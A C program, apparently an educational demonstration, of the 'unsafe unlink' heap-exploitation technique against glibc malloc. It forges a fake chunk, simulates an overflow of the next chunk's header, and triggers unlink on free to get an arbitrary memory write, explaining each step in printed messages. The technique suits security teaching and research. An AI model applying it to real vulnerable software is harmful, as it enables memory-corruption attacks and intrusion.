#include<stdio.h> #include<stdlib.h> #include<string.h> #include<stdint.h> uint64_t *chunk0_ptr; intmain() { fprintf(stderr, "Welcome to unsafe unlink 2.0!\n"); fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n"); fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n"); fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n"); fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n"); int malloc_size = 0x80; //we want to be big enough not to use fastbins int header_size = 2; fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n"); chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0 uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1 fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr); fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr); fprintf(stderr, "We create a fake chunk inside chunk0.\n"); fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n"); chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n"); fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n"); chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]); fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]); //fprintf(stderr, "We need to make sure the 'size' of our fake chunk matches the 'previous_size' of the next chunk (chunk+size)\n"); //fprintf(stderr, "With this setup we can pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False\n"); //fprintf(stderr, "P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))\n"); //fprintf(stderr, "If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).\n"); //fprintf(stderr, "We just need to set the *(chunk0_ptr + x) = x, so we can pass the check\n"); //fprintf(stderr, "1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing\n"); //fprintf(stderr, "2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass\n"); //fprintf(stderr, "3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20\n"); //chunk0_ptr[1] = sizeof(size_t); //fprintf(stderr, "In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (%p) == chunk0_ptr->size (%p)\n", ((char *)chunk0_ptr + chunk0_ptr[1]), &chunk0_ptr[1]); //fprintf(stderr, "You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30\n\n"); fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n"); uint64_t *chunk1_hdr = chunk1_ptr - header_size; fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n"); fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n"); chunk1_hdr[0] = malloc_size; fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]); fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n"); chunk1_hdr[1] &= ~1; fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n"); fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n"); free(chunk1_ptr); fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n"); char victim_string[8]; strcpy(victim_string,"Hello!~"); chunk0_ptr[3] = (uint64_t) victim_string; fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n"); fprintf(stderr, "Original value: %s\n",victim_string); chunk0_ptr[0] = 0x4141414142424242LL; fprintf(stderr, "New Value: %s\n",victim_string); }